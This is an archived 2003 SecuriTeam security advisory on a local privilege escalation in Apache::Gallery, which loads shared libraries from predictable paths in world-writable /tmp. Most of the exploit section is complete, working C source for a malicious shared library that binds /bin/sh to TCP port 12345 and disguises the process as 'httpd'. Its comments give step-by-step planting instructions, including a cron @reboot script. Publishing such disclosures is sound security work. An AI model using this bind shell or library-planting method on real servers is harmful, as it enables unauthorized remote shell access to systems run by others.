

[UNIX] Apache::Gallery Local Privilege Escalation (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0032.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 09/14/03

To: list@securiteam.com

Date: 14 Sep 2003 16:05:44 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Apache::Gallery Local Privilege Escalation (Exploit)

SUMMARY

<<http://apachegallery.dk/>> Apache::Gallery creates an thumbnail index of each directory and allows viewing pictures in different resolutions. Pictures are resized on the fly and cached. Due to incorrect usage of the Inline::C package, local attackers can cause the Apache::Gallery to execute arbitrary code.

DETAILS

Apache::Gallery misuses Inline::C to create shared libraries. From the Inline::C documentation:

"It is probably best to have a separate '.Inline/' directory for each project that you are working on. You may want to keep stable code in the <.Inline/> in your home directory. On multi-user systems, each user should have their own '.Inline/' directories. It could be a security risk to put the directory in a shared place like "/tmp/"."

At line 27 in Gallery.pm, we see the following:

```
use Inline (C => Config =>
```

```
LIBS => '-L/usr/X11R6/lib -lmlib2 -lm -ldl -lXext -lXext',
```

Securiteam: [UNIX] Apache::Gallery Local Privilege Escalation (Exploit)

```
INC => '-I/usr/X11R6/include',
UNTAINT => 1,
DIRECTORY =>
File::Spec->tmpdir()
);
```

File::Spec->tmpdir() returns the first writable temporary directory. On most UNIX platforms, this will return /tmp or \$ENV{TMPDIR}, which is almost always world writable.

Once this directory is found, a series of predictable filenames and directories are created. On my test systems, this was always:

```
$ ls /tmp/lib/auto/Apache/Gallery_4033
Gallery_4033.bs Gallery_4033.inl Gallery_4033.so
```

Since /tmp is world writable, if we can inject the proper files into /tmp/lib/auto/Apache/Gallery_4033 before the Apache process does, we can get it to load our own malicious shared libraries.

The one thing that makes this attack difficult is that you will likely need to get /tmp/lib cleared first. However, this directory will likely be cleared on reboot, so a malicious local attacker need only wait until that time. What results is a privilege escalation attack to the uid of the user running the web server, which is typically apache/www/nobody or a normal user if suEXEC or something like cgiwrap is in use.

Vendor status:

Thanks to Michael Legart, Andreas Plesner and the rest of the Apache::Gallery team for a prompt response and fix. You can get the latest version of Apache::Gallery which fixes this problem by removing Inline::C at: <http://svn.apachegallery.dk/snapshots/>

Exploit:

```
/**
 * Gallery_4033.c . Local webserver compromise.
 *
 * Written by:
 *
 * Jon Hart <warchild@spoofed.org>
 *
 * Apache::Gallery improperly uses Inline::C and creates
 * runtime shared libraries in a predictable, world-writable
 * directory, namely /tmp. This is because of the call to
 * File::Spec->tmpdir() almost always returns /tmp.
 *
 * In my setup, the shared libraries are _always_ in:
 *
 * /tmp/lib/auto/Apache/Gallery_4033
 *
 * First, get the .inl and .bs files from the above directory (or
```

Securiteam: [UNIX] Apache::Gallery Local Privilege Escalation (Exploit)

```
* whatever directory). You'll need them later.
*
* Next, somehow get that directory cleared. This is usually done
* at reboot on many UNIX operating systems, so unless you are feeling
* overly creative, you'll have to wait 'til then.
*
* However, if you are using Linux, put the following entry in your
crontab:
*
* @reboot /path/to/exploit/exploit.sh
*
* Where exploit.sh contains something like:
*
* #!/bin/sh
* mkdir -p /tmp/lib/auto/Apache/Gallery_4033
* cp ~/exploits/Gallery* /tmp/lib/auto/Apache/Gallery_4033
*
* The next time the machine is rebooted, as soon as cron is started, your
* exploit script will be run. This should work on most Linux
* distributions.
*
* Otherwise...
*
* Create the appropriate directory:
*
* mkdir -p /tmp/lib/auto/Apache/Gallery_4033
*
* Compile this as a shared library:
*
* `gcc -shared -fPIC -o /tmp/lib/auto/Apache/Gallery_4033/Gallery_4033.so
Gallery_4033.c`
*
* Strip it:
* `strip /tmp/lib/auto/Apache/Gallery_4033/Gallery_4033.so`
*
* And copy in the .inl and .bs files you stole earlier.
*
* And wait for someone to view the gallery. Or do it yourself.
* You'll now have a nice shell listening on port 12345. Should compile
* and run on linux, *bsd and Solaris.
*
* $ nc localhost 12345
* id;
* uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
*
* Copyright (c) 2003, Jon Hart
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
modification,
```

Securiteam: [UNIX] Apache::Gallery Local Privilege Escalation (Exploit)

* are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* * Neither the name of the organization nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
*
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

```
#define PORT 12345
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
```

```
/** these are the only two functions that
 * A::G is expecting, so make it happy and provide
 * them. Receiving and returning void (instead of actually
 * following the function specs) seems to be more practical
```

Securiteam: [UNIX] Apache::Gallery Local Privilege Escalation (Exploit)

```
* because views to the gallery will just hang instead of flop,
* thereby not raising as much suspicion.
*/
void resizepicture(void) {
    bindshell();
    exit(EXIT_SUCCESS);
}

void boot_Apache__Gallery_4033(void) {
    bindshell();
    exit(EXIT_SUCCESS);
}

/* Bind /bin/sh to PORT. It forks
* and all that good stuff, so it won't
* easily go away.
*/
int bindshell() {

    int sock_des, sock_client, sock_recv, sock_len, server_pid, client_pid;
    struct sockaddr_in server_addr;
    struct sockaddr_in client_addr;

    if ((sock_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
        exit(EXIT_FAILURE);

    bzero((char *) &server_addr, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    server_addr.sin_port = htons(PORT);

    if ((sock_recv = bind(sock_des, (struct sockaddr *) &server_addr,
sizeof(server_addr))) != 0)
        exit(EXIT_FAILURE);
    if (fork() != 0)
        exit(EXIT_SUCCESS);
    setpgrp();
    signal(SIGHUP, SIG_IGN);
    if (fork() != 0)
        exit(EXIT_SUCCESS);
    if ((sock_recv = listen(sock_des, 5)) != 0)
        exit(EXIT_SUCCESS);
    while (1) {
        sock_len = sizeof(client_addr);
        if ((sock_client = accept(sock_des, (struct sockaddr *) &client_addr,
&sock_len)) < 0)
            exit(EXIT_SUCCESS);
        client_pid = getpid();
        server_pid = fork();
        if (server_pid != 0) {
            dup2(sock_client,0);
```

Securiteam: [UNIX] Apache::Gallery Local Privilege Escalation (Exploit)

```
dup2(sock_client,1);
dup2(sock_client,2);

/* Start the shell, but call
 * it 'httpd'. Actually, this seems to get
 * overwritten with the name of the parent process
 * anyway. w00t.
 */
execl("/bin/sh","httpd",(char *)0);
close(sock_client);
exit(EXIT_SUCCESS);
}
close(sock_client);
}
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:warchild@spoofed.org>> Jon Hart.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.